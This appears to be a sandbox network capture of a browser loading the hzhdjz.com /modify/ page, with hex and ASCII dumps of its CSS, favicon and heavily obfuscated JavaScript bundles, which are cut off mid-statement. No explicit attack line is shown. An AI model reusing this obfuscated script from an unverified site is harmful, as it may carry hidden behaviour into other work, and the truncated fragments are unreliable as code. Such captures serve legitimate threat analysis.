2024-09-27 00:32:41 UTC	16384	IN	Data Raw: 63 66 63 28 30 78 34 33 63 29 2b 61 33 38 5f 30 78 33 39 61 63 66 63 28 30 78 34 38 62 29 2b 61 33 38 5f 30 78 33 39 61 63 66 63 28 30 78 35 36 63 29 2c 4f 74 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 3c 27 75 27 3f 64 6f 63 75 6d 65 6e 74 3a 6e 75 6c 6c 2c 55 73 3d 4f 74 26 26 4f 74 5b 61 33 38 5f 30 78 33 39 61 63 66 63 28 30 78 35 63 61 29 2b 27 65 6e 74 27 5d 28 27 74 65 6d 70 6c 61 74 65 27 29 2c 4a 6c 3d 7b 27 69 6e 73 65 72 74 27 3a 28 5f 30 78 31 39 37 62 30 39 2c 5f 30 78 31 30 37 62 30 66 2c 5f 30 78 35 62 32 36 31 30 29 3d 3e 7b 76 61 72 20 5f 30 78 34 66 31 33 65 61 3d 61 33 38 5f 30 78 33 39 61 63 66 63 3b 5f 30 78 31 30 37 62 30 66 5b 5f 30 78 34 66 31 33 65 61 28 30 78 34 37 36 29 2b 27 72 65 27 5d 28 5f 30 78 31 39 37 62 30 39 2c 5f Data Ascii: cfc(0x43c)+a38_0x39acfc(0x48b)+a38_0x39acfc(0x56c),Ot=typeof document<'u'?document:null,Us=Ot&&Ot[a38_0x39acfc(0x5ca)+'ent']('template'),Jl={'insert':(_0x197b09,_0x107b0f,_0x5b2610)=>{var _0x4f13ea=a38_0x39acfc;_0x107b0f[_0x4f13ea(0x476)+'re'](_0x197b09,_
2024-09-27 00:32:41 UTC	16384	IN	Data Raw: 36 34 37 66 2c 5f 30 78 35 34 33 37 36 37 29 3a 5f 30 78 35 63 63 35 36 65 5b 5f 30 78 33 32 33 30 39 37 5d 3d 5f 30 78 35 34 33 37 36 37 3b 7d 72 65 74 75 72 6e 20 5f 30 78 35 63 63 35 36 65 3b 7d 63 6f 6e 73 74 20 41 63 3d 53 79 6d 62 6f 6c 28 29 3b 66 75 6e 63 74 69 6f 6e 20 42 63 28 5f 30 78 35 61 63 33 64 37 29 7b 76 61 72 20 5f 30 78 63 36 36 32 66 63 3d 61 33 38 5f 30 78 33 39 61 63 66 63 3b 72 65 74 75 72 6e 21 79 30 28 5f 30 78 35 61 63 33 64 37 29 7c 7c 21 5f 30 78 35 61 63 33 64 37 5b 27 68 61 73 4f 77 6e 50 72 6f 70 27 2b 5f 30 78 63 36 36 32 66 63 28 30 78 36 33 39 29 5d 28 41 63 29 3b 7d 63 6f 6e 73 74 20 7b 61 73 73 69 67 6e 3a 5f 74 7d 3d 4f 62 6a 65 63 74 3b 66 75 6e 63 74 69 6f 6e 20 46 63 28 5f 30 78 66 39 32 36 31 35 29 7b 76 61 72 20 Data Ascii: 647f,_0x543767):_0x5cc56e[_0x323097]=_0x543767;}return _0x5cc56e;}const Ac=Symbol();function Bc(_0x5ac3d7){var _0xc662fc=a38_0x39acfc;return!y0(_0x5ac3d7)\|\|!_0x5ac3d7['hasOwnProp'+_0xc662fc(0x639)](Ac);}const {assign:_t}=Object;function Fc(_0xf92615){var

Timestamp	Bytes transferred	Direction	Data
2024-09-27 00:32:41 UTC	557	OUT	GET /modify/assets/f6170fbbtE5dP.css HTTP/1.1 Host: hzhdjz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://hzhdjz.com/modify/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 00:32:41 UTC	322	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Fri, 27 Sep 2024 00:32:41 GMT Content-Type: text/css; charset=utf-8 Content-Length: 952 Connection: close Access-Control-Allow-Origin: * Accept-Ranges: bytes Cache-Control: public, max-age=86400 Last-Modified: Mon, 17 Jun 2024 05:04:28 GMT ETag: W/"3b8-19024951360"
2024-09-27 00:32:41 UTC	952	IN	Data Raw: 40 6b 65 79 66 72 61 6d 65 73 20 67 2d 6c 6f 61 64 69 6e 67 2d 62 67 41 6e 69 6d 7b 30 25 2c 74 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 36 33 35 29 7d 35 30 25 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 29 7d 7d 2e 67 2d 6c 6f 61 64 69 6e 67 2d 6d 61 73 6b 7b 77 69 64 74 68 3a 31 30 30 76 77 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 6c 65 66 74 3a 30 3b 74 6f 70 3a 30 3b 61 6e 69 6d 61 74 69 6f 6e 3a 67 2d 6c 6f 61 Data Ascii: @keyframes g-loading-bgAnim{0%,to{background-color:rgba(255,255,255,.635)}50%{background-color:rgba(255,255,255,0)}}.g-loading-mask{width:100vw;height:100vh;display:flex;justify-content:center;align-items:center;position:fixed;left:0;top:0;animation:g-loa

Timestamp	Bytes transferred	Direction	Data
2024-09-27 00:32:42 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-27 00:32:42 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF67) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=58412 Date: Fri, 27 Sep 2024 00:32:42 GMT Connection: close X-CID: 2

Timestamp	Bytes transferred	Direction	Data
2024-09-27 00:32:42 UTC	530	OUT	GET /modify/assets/7f8692c3ajMSD.js HTTP/1.1 Host: hzhdjz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://hzhdjz.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 00:32:43 UTC	361	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Fri, 27 Sep 2024 00:32:43 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 4610 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes Cache-Control: public, max-age=86400 Last-Modified: Mon, 17 Jun 2024 05:04:30 GMT ETag: W/"1202-19024951b30"
2024-09-27 00:32:43 UTC	4610	IN	Data Raw: 63 6f 6e 73 74 20 61 32 30 5f 30 78 32 33 38 38 31 34 3d 61 32 30 5f 30 78 39 37 34 33 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 32 62 31 37 37 2c 5f 30 78 35 36 62 35 64 65 29 7b 63 6f 6e 73 74 20 5f 30 78 36 33 65 66 37 36 3d 61 32 30 5f 30 78 39 37 34 33 2c 5f 30 78 33 61 36 64 66 37 3d 5f 30 78 31 32 62 31 37 37 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 33 32 37 39 61 30 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 36 33 65 66 37 36 28 30 78 31 37 30 29 29 2f 30 78 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 36 33 65 66 37 36 28 30 78 31 37 61 29 29 2f 30 78 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 36 33 65 66 37 36 28 30 78 31 38 61 29 29 2f 30 78 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 36 Data Ascii: const a20_0x238814=a20_0x9743;(function(_0x12b177,_0x56b5de){const _0x63ef76=a20_0x9743,_0x3a6df7=_0x12b177();while(!![]){try{const _0x3279a0=-parseInt(_0x63ef76(0x170))/0x1(-parseInt(_0x63ef76(0x17a))/0x2)+-parseInt(_0x63ef76(0x18a))/0x3(-parseInt(_0x6

Timestamp	Bytes transferred	Direction	Data
2024-09-27 00:32:42 UTC	530	OUT	GET /modify/assets/7ae8a4f5ajMSD.js HTTP/1.1 Host: hzhdjz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://hzhdjz.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 00:32:43 UTC	362	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Fri, 27 Sep 2024 00:32:43 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 53555 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes Cache-Control: public, max-age=86400 Last-Modified: Mon, 17 Jun 2024 05:04:30 GMT ETag: W/"d133-19024951b30"
2024-09-27 00:32:43 UTC	16022	IN	Data Raw: 63 6f 6e 73 74 20 61 31 39 5f 30 78 35 62 37 34 35 34 3d 61 31 39 5f 30 78 34 66 61 30 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 33 64 66 65 37 2c 5f 30 78 35 32 65 66 66 36 29 7b 63 6f 6e 73 74 20 5f 30 78 31 35 66 66 34 37 3d 61 31 39 5f 30 78 34 66 61 30 2c 5f 30 78 35 35 63 30 66 34 3d 5f 30 78 32 33 64 66 65 37 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 32 36 39 62 39 63 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 35 66 66 34 37 28 30 78 32 33 62 29 29 2f 30 78 31 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 35 66 66 34 37 28 30 78 32 34 65 29 29 2f 30 78 32 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 31 35 66 66 34 37 28 30 78 32 32 30 29 29 2f 30 78 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 35 66 66 Data Ascii: const a19_0x5b7454=a19_0x4fa0;(function(_0x23dfe7,_0x52eff6){const _0x15ff47=a19_0x4fa0,_0x55c0f4=_0x23dfe7();while(!![]){try{const _0x269b9c=-parseInt(_0x15ff47(0x23b))/0x1+parseInt(_0x15ff47(0x24e))/0x2*(parseInt(_0x15ff47(0x220))/0x3)+-parseInt(_0x15ff
2024-09-27 00:32:43 UTC	16384	IN	Data Raw: 5f 30 78 35 36 39 39 36 31 3b 5f 30 78 31 39 36 65 37 30 26 26 28 5f 30 78 33 32 62 33 39 31 3d 3d 3d 30 78 30 3f 5f 30 78 66 34 64 33 63 38 5b 5f 30 78 33 62 65 36 38 32 28 30 78 32 35 64 29 5d 28 7b 27 74 79 70 65 27 3a 30 78 30 2c 27 76 61 6c 75 65 27 3a 5f 30 78 31 39 36 65 37 30 7d 29 3a 5f 30 78 33 32 62 33 39 31 3d 3d 3d 30 78 31 7c 7c 5f 30 78 33 32 62 33 39 31 3d 3d 3d 30 78 32 7c 7c 5f 30 78 33 32 62 33 39 31 3d 3d 3d 30 78 33 3f 28 5f 30 78 66 34 64 33 63 38 5b 5f 30 78 33 62 65 36 38 32 28 30 78 32 35 61 29 5d 3e 30 78 31 26 26 28 5f 30 78 66 66 34 34 62 36 3d 3d 3d 27 2a 27 7c 7c 5f 30 78 66 66 34 34 62 36 3d 3d 3d 27 2b 27 29 26 26 5f 30 78 35 65 31 61 32 32 28 27 41 5c 78 32 30 72 65 70 65 61 74 61 62 27 2b 27 6c 65 5c 78 32 30 70 61 72 61 Data Ascii: _0x569961;_0x196e70&&(_0x32b391===0x0?_0xf4d3c8[_0x3be682(0x25d)]({'type':0x0,'value':_0x196e70}):_0x32b391===0x1\|\|_0x32b391===0x2\|\|_0x32b391===0x3?(_0xf4d3c8[_0x3be682(0x25a)]>0x1&&(_0xff44b6==='*'\|\|_0xff44b6==='+')&&_0x5e1a22('A\x20repeatab'+'le\x20para
2024-09-27 00:32:43 UTC	16384	IN	Data Raw: 78 31 36 37 31 33 31 5b 5f 30 78 33 36 32 62 64 37 28 30 78 31 63 65 29 5d 28 5f 30 78 34 37 66 33 39 30 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 62 65 38 66 31 30 3d 5f 30 78 33 36 32 62 64 37 3b 69 66 28 21 5f 30 78 34 37 66 33 39 30 29 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 5b 5f 30 78 62 65 38 66 31 30 28 30 78 32 30 33 29 5d 28 6e 65 77 20 45 72 72 6f 72 28 27 43 6f 75 6c 64 6e 5c 78 32 37 74 5c 78 32 30 72 27 2b 5f 30 78 62 65 38 66 31 30 28 30 78 31 66 36 29 2b 5f 30 78 62 65 38 66 31 30 28 30 78 32 39 33 29 2b 5f 30 78 33 66 36 30 65 64 2b 5f 30 78 62 65 38 66 31 30 28 30 78 32 36 64 29 2b 5f 30 78 63 37 34 31 34 61 5b 5f 30 78 62 65 38 66 31 30 28 30 78 31 66 39 29 5d 2b 27 5c 78 32 32 27 29 29 3b 63 6f 6e 73 74 20 5f 30 78 34 62 65 38 35 30 3d 6e Data Ascii: x167131[_0x362bd7(0x1ce)](_0x47f390=>{const _0xbe8f10=_0x362bd7;if(!_0x47f390)return Promise[_0xbe8f10(0x203)](new Error('Couldn\x27t\x20r'+_0xbe8f10(0x1f6)+_0xbe8f10(0x293)+_0x3f60ed+_0xbe8f10(0x26d)+_0xc7414a[_0xbe8f10(0x1f9)]+'\x22'));const _0x4be850=n
2024-09-27 00:32:43 UTC	4765	IN	Data Raw: 62 64 28 5f 30 78 37 33 39 65 63 35 5b 27 74 6f 27 5d 2c 5f 30 78 33 31 31 39 31 36 29 5b 5f 30 78 34 31 66 30 32 65 28 30 78 31 63 65 29 5d 28 5f 30 78 34 37 38 35 30 36 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 35 34 64 31 35 34 3d 5f 30 78 34 31 66 30 32 65 3b 49 28 5f 30 78 34 37 38 35 30 36 2c 30 78 31 34 29 26 26 21 5f 30 78 31 34 34 33 38 38 5b 5f 30 78 35 34 64 31 35 34 28 30 78 31 65 36 29 5d 26 26 5f 30 78 31 34 34 33 38 38 5b 5f 30 78 35 34 64 31 35 34 28 30 78 32 35 36 29 5d 3d 3d 3d 59 5b 27 70 6f 70 27 5d 26 26 5f 30 78 35 39 37 36 38 39 5b 27 67 6f 27 5d 28 2d 30 78 31 2c 21 30 78 31 29 3b 7d 29 5b 5f 30 78 34 31 66 30 32 65 28 30 78 31 65 37 29 5d 28 57 29 2c 50 72 6f 6d 69 73 65 5b 5f 30 78 34 31 66 30 32 65 28 30 78 32 30 33 29 5d 28 29 29 3a Data Ascii: bd(_0x739ec5['to'],_0x311916)[_0x41f02e(0x1ce)](_0x478506=>{const _0x54d154=_0x41f02e;I(_0x478506,0x14)&&!_0x144388[_0x54d154(0x1e6)]&&_0x144388[_0x54d154(0x256)]===Y['pop']&&_0x597689['go'](-0x1,!0x1);})[_0x41f02e(0x1e7)](W),Promise[_0x41f02e(0x203)]()):

Timestamp	Bytes transferred	Direction	Data
2024-09-27 00:32:42 UTC	583	OUT	GET /favicon.ico HTTP/1.1 Host: hzhdjz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hzhdjz.com/modify/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 00:32:43 UTC	326	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Fri, 27 Sep 2024 00:32:43 GMT Content-Type: image/vnd.microsoft.icon Content-Length: 38078 Connection: close Access-Control-Allow-Origin: * Accept-Ranges: bytes Cache-Control: public, max-age=86400 Last-Modified: Mon, 17 Jun 2024 05:04:20 GMT ETag: W/"94be-1902494f420"
2024-09-27 00:32:43 UTC	16058	IN	Data Raw: 00 00 01 00 01 00 60 60 00 00 01 00 20 00 a8 94 00 00 16 00 00 00 28 00 00 00 60 00 00 00 c0 00 00 00 01 00 20 00 00 00 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: `` (`
2024-09-27 00:32:43 UTC	16384	IN	Data Raw: 57 ab 25 ff 57 ab 25 ff 57 ac 25 ff 57 ac 25 ff 57 ac 25 ff 57 ac 25 ff 58 ac 25 ff 50 a9 1a ff a0 c3 8b ff db d6 de ff d1 d1 d1 ff d0 d0 d0 ff ce ce ce ff cc cc cd ff c7 c7 c8 ff c6 c9 c4 ff f1 f3 f0 ff ff ff ff ff d8 ec cc ff 55 ab 22 ff 57 ac 25 ff 58 ac 26 ff 58 ac 26 ff 58 ac 26 ff 58 ac 27 ff 58 ac 27 ff 58 ac 27 ff 58 ac 27 ff 58 ac 27 ff 4f a7 1a ff 9d ce 80 ff ff ff ff ff bd bd bd 87 ff ff ff ff f9 fc f7 ff 6f b7 44 ff 52 a9 1f ff 57 ab 25 ff 57 ab 25 ff 57 ab 25 ff 57 ab 25 ff 57 ab 25 ff 57 ab 25 ff 57 ab 25 ff 57 ab 25 ff 57 ab 25 ff 58 ab 25 ff 58 ab 25 ff 58 ab 25 ff 58 ab 26 ff 57 ab 24 ff 51 a8 1d ff 4e a7 19 ff 52 a9 1e ff 53 a9 20 ff 53 a9 20 ff 53 a9 20 ff 53 a9 20 ff 53 a9 20 ff 53 a9 20 ff 53 a9 20 ff 53 a9 20 ff 53 a9 20 ff 53 a9 20 Data Ascii: W%W%W%W%W%W%X%PU"W%X&X&X&X'X'X'X'X'OoDRW%W%W%W%W%W%W%W%W%X%X%X%X&W$QNRS S S S S S S S S S
2024-09-27 00:32:43 UTC	5636	IN	Data Raw: 6b bd 4b ff 6b bd 4b ff 6b bd 4b ff 6b bd 4b ff 6b bd 4b ff 6b bd 4b ff 6b bd 4b ff 6b bd 4b ff 6b bd 4b ff 6b bd 4b ff 6b bd 4b ff 6b bd 4b ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c bd 4c ff 6c be 4c ff 6c be 4c ff 6c be 4c ff 6c be 4c ff 6c be 4c ff 6c be 4c ff 6c be 4d ff 6c be 4d ff 6c be 4d ff 6c be 4d ff 6c be 4d ff 6c be 4d ff 6c be 4d ff 6c be 4d ff 6c be 4d ff 6c be 4d ff 6c be 4d ff 6c be 4d ff 65 bb 45 ff 92 cf 7c ff ff ff ff Data Ascii: kKkKkKkKkKkKkKkKkKkKkKkKlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlLlMlMlMlMlMlMlMlMlMlMlMlMeE\|

Timestamp	Bytes transferred	Direction	Data
2024-09-27 00:32:43 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-27 00:32:43 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=58357 Date: Fri, 27 Sep 2024 00:32:43 GMT Content-Length: 55 Connection: close X-CID: 2
2024-09-27 00:32:43 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Timestamp	Bytes transferred	Direction	Data
2024-09-27 00:32:43 UTC	365	OUT	GET /modify/assets/index-7c1edef8.js HTTP/1.1 Host: hzhdjz.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 00:32:44 UTC	364	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Fri, 27 Sep 2024 00:32:43 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 503862 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes Cache-Control: public, max-age=86400 Last-Modified: Mon, 17 Jun 2024 05:04:38 GMT ETag: W/"7b036-19024953a70"
2024-09-27 00:32:44 UTC	16020	IN	Data Raw: 76 61 72 20 61 33 38 5f 30 78 33 39 61 63 66 63 3d 61 33 38 5f 30 78 32 31 36 33 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 66 36 61 32 37 2c 5f 30 78 33 66 33 35 33 30 29 7b 76 61 72 20 5f 30 78 64 66 36 34 62 34 3d 61 33 38 5f 30 78 32 31 36 33 2c 5f 30 78 34 38 30 38 32 31 3d 5f 30 78 33 66 36 61 32 37 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 34 39 37 31 64 38 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 64 66 36 34 62 34 28 30 78 31 62 30 29 29 2f 30 78 31 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 64 66 36 34 62 34 28 30 78 36 63 32 29 29 2f 30 78 32 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 64 66 36 34 62 34 28 30 78 34 63 61 29 29 2f 30 78 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 64 66 36 34 62 34 28 30 78 32 39 Data Ascii: var a38_0x39acfc=a38_0x2163;(function(_0x3f6a27,_0x3f3530){var _0xdf64b4=a38_0x2163,_0x480821=_0x3f6a27();while(!![]){try{var _0x4971d8=-parseInt(_0xdf64b4(0x1b0))/0x1+parseInt(_0xdf64b4(0x6c2))/0x2+parseInt(_0xdf64b4(0x4ca))/0x3*(-parseInt(_0xdf64b4(0x29
2024-09-27 00:32:44 UTC	16384	IN	Data Raw: 30 3d 5f 30 78 33 66 35 61 30 38 3d 3e 42 65 28 5f 30 78 33 66 35 61 30 38 29 26 26 5f 30 78 33 66 35 61 30 38 21 3d 3d 61 33 38 5f 30 78 33 39 61 63 66 63 28 30 78 33 39 33 29 26 26 5f 30 78 33 66 35 61 30 38 5b 30 78 30 5d 21 3d 3d 27 2d 27 26 26 27 27 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 33 66 35 61 30 38 2c 30 78 61 29 3d 3d 3d 5f 30 78 33 66 35 61 30 38 2c 54 72 3d 54 30 28 61 33 38 5f 30 78 33 39 61 63 66 63 28 30 78 34 36 33 29 2b 61 33 38 5f 30 78 33 39 61 63 66 63 28 30 78 33 32 32 29 2b 61 33 38 5f 30 78 33 39 61 63 66 63 28 30 78 35 65 31 29 2b 27 64 65 42 65 66 6f 72 65 4d 6f 27 2b 61 33 38 5f 30 78 33 39 61 63 66 63 28 30 78 35 36 34 29 2b 61 33 38 5f 30 78 33 39 61 63 66 63 28 30 78 35 65 32 29 2b 61 33 38 5f 30 78 33 39 61 63 66 63 28 30 Data Ascii: 0=_0x3f5a08=>Be(_0x3f5a08)&&_0x3f5a08!==a38_0x39acfc(0x393)&&_0x3f5a08[0x0]!=='-'&&''+parseInt(_0x3f5a08,0xa)===_0x3f5a08,Tr=T0(a38_0x39acfc(0x463)+a38_0x39acfc(0x322)+a38_0x39acfc(0x5e1)+'deBeforeMo'+a38_0x39acfc(0x564)+a38_0x39acfc(0x5e2)+a38_0x39acfc(0
2024-09-27 00:32:44 UTC	16384	IN	Data Raw: 7d 2c 27 68 61 73 27 28 5f 30 78 33 61 31 37 33 36 29 7b 76 61 72 20 5f 30 78 33 32 35 66 64 61 3d 5f 30 78 64 66 37 30 39 37 3b 72 65 74 75 72 6e 20 62 72 5b 5f 30 78 33 32 35 66 64 61 28 30 78 37 35 30 29 5d 28 74 68 69 73 2c 5f 30 78 33 61 31 37 33 36 2c 21 30 78 30 29 3b 7d 2c 27 61 64 64 27 3a 67 74 28 27 61 64 64 27 29 2c 27 73 65 74 27 3a 67 74 28 5f 30 78 64 66 37 30 39 37 28 30 78 35 30 36 29 29 2c 27 64 65 6c 65 74 65 27 3a 67 74 28 27 64 65 6c 65 74 65 27 29 2c 27 63 6c 65 61 72 27 3a 67 74 28 5f 30 78 64 66 37 30 39 37 28 30 78 36 63 38 29 29 2c 27 66 6f 72 45 61 63 68 27 3a 44 72 28 21 30 78 30 2c 21 30 78 30 29 7d 3b 72 65 74 75 72 6e 5b 5f 30 78 64 66 37 30 39 37 28 30 78 36 32 32 29 2c 5f 30 78 64 66 37 30 39 37 28 30 78 35 34 37 29 2c 5f Data Ascii: },'has'(_0x3a1736){var _0x325fda=_0xdf7097;return br[_0x325fda(0x750)](this,_0x3a1736,!0x0);},'add':gt('add'),'set':gt(_0xdf7097(0x506)),'delete':gt('delete'),'clear':gt(_0xdf7097(0x6c8)),'forEach':Dr(!0x0,!0x0)};return[_0xdf7097(0x622),_0xdf7097(0x547),_
2024-09-27 00:32:44 UTC	16384	IN	Data Raw: 34 61 35 31 38 34 7d 3d 5f 30 78 31 66 37 32 37 65 2c 5f 30 78 32 64 34 33 62 65 3d 5f 30 78 33 32 65 35 37 36 5b 5f 30 78 33 38 39 34 66 39 28 30 78 32 61 32 29 2b 27 6e 73 27 5d 3b 69 66 28 5f 30 78 31 66 37 32 37 65 5b 5f 30 78 33 38 39 34 66 39 28 30 78 31 64 33 29 5d 7c 7c 5f 30 78 31 66 37 32 37 65 5b 5f 30 78 33 38 39 34 66 39 28 30 78 34 37 30 29 5d 29 72 65 74 75 72 6e 21 30 78 30 3b 69 66 28 5f 30 78 34 33 64 66 66 31 26 26 5f 30 78 34 61 35 31 38 34 3e 3d 30 78 30 29 7b 69 66 28 5f 30 78 34 61 35 31 38 34 26 30 78 34 30 30 29 72 65 74 75 72 6e 21 30 78 30 3b 69 66 28 5f 30 78 34 61 35 31 38 34 26 30 78 31 30 29 72 65 74 75 72 6e 20 5f 30 78 33 32 39 63 32 64 3f 52 73 28 5f 30 78 33 32 39 63 